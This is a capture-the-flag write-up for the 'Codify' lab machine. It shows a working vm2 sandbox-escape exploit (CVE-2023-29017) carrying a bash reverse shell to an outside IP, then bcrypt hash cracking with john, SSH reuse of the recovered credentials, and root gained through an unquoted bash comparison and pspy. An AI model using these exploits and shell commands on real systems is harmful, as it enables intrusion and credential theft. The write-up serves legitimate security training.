Codify

Recon

nmap_scan.log

HTTP (80)

Simple webapp which seems to allow running arbitrary Javascript in a sandbox.

Writeup.png

From About page:The vm2 library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system. We take the security and reliability of our platform seriously, and we use vm2 to ensure a safe testing environment for your code.

CVE-2023-29017

Uncovering Potentially Exploitable vm2 Vulnerabilities: CVE-2023-29017

ExploitDB: vm2 - sandbox escape

const { VM } = require("vm2");
const vm = new VM();

const command = 'bash -c "/bin/bash -i >& /dev/tcp/10.10.14.42/4444 0>&1"'; // Change to the desired command

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

try {
    const handler = {
        getPrototypeOf(target) {
            (function stack() {
                new Error().stack;
                stack();
            })();
        }
    };

    const proxiedErr = new Proxy({}, handler);

    throw proxiedErr;
} catch ({ constructor: c }) {
    const childProcess = c.constructor('return process')().mainModule.require('child_process');
    childProcess.execSync('${command}');
}
`;

console.log(vm.run(code));

Reverse Shell

svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)

We are svc service user. There's another application in /var/www which contains database:

svc@codify:/var/www/contact$ ls -alh
total 120K
drwxr-xr-x 3 svc  svc  4.0K Sep 12  2023 .
drwxr-xr-x 5 root root 4.0K Sep 12  2023 ..
-rw-rw-r-- 1 svc  svc  4.3K Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc   268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc   76K Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc  4.0K Apr 21  2023 templates
-rw-r--r-- 1 svc  svc   20K Sep 12  2023 tickets.db
svc@codify:/var/www/contact$ sqlite3 --version
3.37.2 2022-01-06 13:25:41 872ba256cbf61d9290b571c0e6d82a20c224ca3ad82971edc46b29818d5dalt1
svc@codify:/var/www/contact$ sqlite3 tickets.db '.dump'
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    );
INSERT INTO users VALUES(3,'joshua','$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2');
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT);
INSERT INTO tickets VALUES(1,'Tom Hanks','Need networking modules','I think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!','open');
INSERT INTO tickets VALUES(2,'Joe Williams','Local setup?','I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.','open');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',3);
INSERT INTO sqlite_sequence VALUES('tickets',5);
COMMIT;

Crack the password:

➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt .\hashes
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)
1g 0:00:00:50 DONE (2024-11-24 17:12) 0.01991g/s 27.24p/s 27.24c/s 27.24C/s winston..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed

SSH

Creds: joshua:spongebob1

User.txt

joshua@codify:~$ cat user.txt
6e0c2171e858ea2baeea8ec280ad161d

Privilege Escalation

└─$ sshpass -p spongebob1 ssh joshua@codify.htb
joshua@codify:~$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)

joshua@codify:~$ sudo -l
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

The first vulnerability in script I see is no quotes around variables in IF condition

if [[ $DB_PASS == $USER_PASS ]]; then

This can be easily bypassed by wildcard *

To see what commands are being ran we can use pspy

└─$ scp ./pspy joshua@codify.htb:/tmp/pspy
joshua@codify:~$ chmod +x /tmp/pspy
Writeup-1.png
2024/11/24 13:19:31 CMD: UID=0     PID=2315   | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 sys

Root.txt

joshua@codify:~$ su -
Password: kljh12k3jhaskjh12kjh3
root@codify:~# cat root.txt
7c5ee18e82c677ef139c55348edfc663

Last updated